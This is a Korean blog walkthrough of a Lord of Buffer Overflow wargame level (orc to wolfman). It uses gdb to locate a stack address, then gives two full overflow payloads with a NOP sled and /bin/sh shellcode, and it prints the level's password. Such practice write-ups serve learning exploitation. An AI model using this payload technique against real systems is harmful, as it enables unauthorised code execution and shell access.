1. orc/cantata로 로그인
2. bash2, ulimit -c unlimited 명령어 실행 후 ls -l로 디렉터리 내부 파일 확인
3. cat 명령어로 wolfman.c 내용 확인
전 단계와 마찬가지로 환경변수를 사용할 수 없다. buffer hunter 부분을 보니 buffer도 사용할 수 없게 되어있다.
4. gdb로 실행
strcpy 함수가 호출되고 난 후인 <main+194>에 break point를 걸고 스택메모리의 변화를 관찰한다.
A 44개와 0xbfbfbfbf가 잘 들어간 것을 확인할 수 있다.
0xbffffaf4 주소를 이용할 것이다.
5. 공격 및 비밀번호 획득
공격코드는 다음과 같이 구성했다.
./wolfman `python -c 'print "\x90"*44+"\xf4\xfa\xff\xbf"+"\x90"*100+"\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
segmentation fault가 뜬다. nop sled를 더 많이 주기 위해 조금 수정해서 다음과 같이 구성했다.
./wolfman `python -c 'print "\x90"*44+"\xf4\xfa\xff\xbf"+"\x90"*100+"\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
성공적으로 비밀번호를 얻었다.
비밀번호: love eyuna
'SYSTEM > LOB' 카테고리의 다른 글
[LOB] wolfman → darkelf (0) | 2021.03.14 |
---|---|
[LOB] goblin → orc (0) | 2021.03.14 |
[LOB] cobolt → goblin (0) | 2021.03.04 |
[LOB] gremlin → cobolt (0) | 2021.03.04 |
[LOB] gate → gremlin (0) | 2021.02.26 |